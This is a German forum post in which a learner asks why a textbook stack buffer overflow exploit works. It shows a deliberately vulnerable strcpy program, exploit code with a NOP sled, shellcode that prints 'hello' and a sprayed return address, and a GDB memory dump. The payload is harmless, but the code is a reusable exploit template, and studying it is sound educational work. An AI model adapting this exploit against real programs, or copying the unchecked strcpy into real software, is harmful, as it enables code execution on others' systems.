A
Hallo,
ich habe ein Verständnisproblem beim Buffer Overflow Angriff.
Das Programm vuln.c hat ein char-Puffer, der 500 Zeichen speichern kann. Das Programm exploit.c erzeugt eine Eingabe, die 600 Zeichen hat, bestehend aus NOP-Codes am Anfang, dann der Shellcode(sagt nur "hello") und die Rücksprungadresse.
Beides wird kompiliert und exploit wird ohne Argument gestartet und „hello“ wird auch ausgegeben. Ich frage mich, wieso es funktioniert.
Folgendes verstehe ich nicht.
Bei so einer Eingabe zeigt doch der EIP auf die Adresse 0xbffff844 oder nicht? Das bringt mir nichts. Ich will ja, dass der EIP mit einer Adresse zwischen 0x804a008-0x804a0d0 geladen wird, da mit in NOP-Bereich oder direkt mit der Adtresse des Shellcodes geladen wird.
Was hat es mit der Adresse 0xbffff844 auf sich? Ich kann damit nichts anfangen. An der Adresse 0xbffff844 steht nichts besonderes: 0x00000025.
Das GDB-Protokoll zeigt u.a. den Endzustand von buffer, bevor der Aufruf von vuln ausgeführt wird.
/* vuln.c */
int main(int argc, char *argv[]) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
/*exploit.c*/
#include <stdlib.h>
#include <stdio.h>
//Der Shellcode spuckt “hello“ aus
char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
int main(int argc, char *argv[])
{
int i, offset=0;
long ret, *addr_ptr;
char *buffer, *ptr;
ret=&i;
if (argc>1)
ret=&i-atoi(argv[1]);
printf("Desired Return Adresse: 0x%x\n",ret);
buffer=malloc(600);
ptr=buffer;
addr_ptr=(long *) ptr;
for (i=0; i<600; i+=4)
*(addr_ptr++)=ret;
for (i=0;i<200;i++)
buffer[i]='\x90';
ptr=buffer+200;
for (i=0; i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buffer[600-1]=0;
execl("./vuln", "vuln", buffer,0);
free(buffer);
return 0;
}
GDB-Protokoll:
gdb -q exploit
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break 26
Breakpoint 1 at 0x8048529: file exploit.c, line 26.
(gdb) run
Starting program: /home/a/booksrc/exploit
Desired Return Adresse: 0xbffff844
Breakpoint 1, main (argc=1, argv=0xbffff8d4) at exploit.c:26
26 execl("./vuln", "vuln", buffer,0);
(gdb) x/x buffer
0x804a008: 0x90909090
(gdb) x/150xw buffer
0x804a008: 0x90909090 0x90909090 0x90909090 0x90909090
.
.
.
0x804a0b8: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0c8: 0x90909090 0x90909090 0xc03119eb 0xd231db31
0x804a0d8: 0x04b0c931 0xb25901b3 0x3180cd05 0x3101b0c0
0x804a0e8: 0xe880cddb 0xffffffe2 0x6c6c6568 0xbffff86f
0x804a0f8: 0xbffff844 0xbffff844 0xbffff844 0xbffff844
0x804a108: 0xbffff844 0xbffff844 0xbffff844 0xbffff844
0x804a118: 0xbffff844 0xbffff844 0xbffff844 0xbffff844
.
.
.
0x804a238: 0xbffff844 0xbffff844 0xbffff844 0xbffff844
0x804a248: 0xbffff844 0xbffff844 0xbffff844 0xbffff844
0x804a258: 0xbffff844 0x00fff844
(gdb) x/x ret
0xbffff844: 0x00000025